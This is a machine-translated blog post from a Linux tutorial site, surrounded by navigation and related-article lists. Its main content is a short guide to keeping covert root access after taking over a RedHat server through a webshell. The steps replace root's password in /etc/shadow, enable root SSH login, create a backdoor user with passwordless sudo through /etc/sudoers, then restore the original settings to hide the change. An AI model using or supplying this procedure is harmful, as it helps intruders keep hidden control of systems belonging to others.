Home PC Games Linux Windows Database Network Programming Server Mobile  
           
  Home \ Linux \ Linux mention the right notes     - Linux foundation tutorial: how to modify the host name on CentOS or RHEL 7 (Linux)

- Linux Log (Linux)

- Oracle 11G R2 DataGuard structures (Database)

- Android source code compiled fatal error solutions (Programming)

- Fast Sort Algorithms (Programming)

- Lambda expressions of evolution (Programming)

- Use mysqldump MySQL database backup - Linux Shell Scripting (Database)

- Ora-14450: attempt to access ah transactional temptable already in use (Database)

- Linux system security audit tools scan nessus installation tutorial (Linux)

- Ubuntu install Lighttpd + Mono support .net (Linux)

- Linux, modify / retrieve the root password (Linux)

- Android Studio quick overview of Gradle (Programming)

- Node.js simple interface server (Server)

- Linux dynamic libraries and Guide (Programming)

- OpenSUSE / Linux network configuration (Linux)

- Linux awk text analysis tool (Linux)

- Linux user login and IP restrictions (Linux)

- How LUKS encrypted disk / partition to perform remote incremental backup (Linux)

- Advanced permissions Linux file system settings (Linux)

- using the ssh command to check the socket / Network Connections (Linux)

 
         
  Linux mention the right notes
     
  Add Date : 2018-11-21      
         
         
         
  Lacks technical content, an idea, let some get root privileges webshell children's shoes can quickly get permission.

One day a station to get webshell, RedHat system, Tomcat program is started as root, webshell of course, have root privileges.

1.webshell direct replacement for the root password: / etc / shadow // remember to backup

2. Allow root login via ssh: / etc / ssh / sshd_config

PermitRootLogin yes # Allow root login

3. Restart the ssh service service ssh restart

4. Log in as root ssh, add a user

useradd application

passwd // prompts to set a password

5. Change the application the user runs su without a password

chmod + w / etc / sudoers // write permission to increase the default read-only

Modify / etc / sudoers

vi / etc / sudoers

Added application ALL = (ALL) NOPASSWD: ALL

6. The root password changes back to the original, prohibit root landing. And removing sudoers write attribute (chmod -w / etc / sudoers). Completion

Ordinary user login, su Free password access root privileges
     
         
         
         
  More:      
 
- I like Linux Security (Linux)
- Linux tar compressed exclude a folder (Linux)
- How to Install Node.js in CentOS 7 (Linux)
- PostgreSQL transaction model introduction (Database)
- To_explore Linux system boot process (Linux)
- Understand the profound discussion of some of the options for wireless encryption (Linux)
- To upgrade combat MongoDB database replication sets and split versions (Database)
- Why use Docker (Programming)
- Linux firewall iptables beginner tutorial (Linux)
- Use SVN to automatically deploy code under Apache (Server)
- Nginx version of helloworld (Server)
- Use backup-manager system backup on Linux (Linux)
- Summary Linux operating system some tips to prevent attacks (Linux)
- Erlang concurrency and foundation (Programming)
- Use libpq under Ubuntu 14.04 (Linux)
- Five programming fallacy (Programming)
- Performance issues under CentOS 6.5 VLAN devices (Linux)
- React Native (Programming)
- Advanced permissions Linux file system settings (Linux)
- RHEL7.0 log system (Linux)
     
           
     
  CopyRight 2002-2022 newfreesoft.com, All Rights Reserved.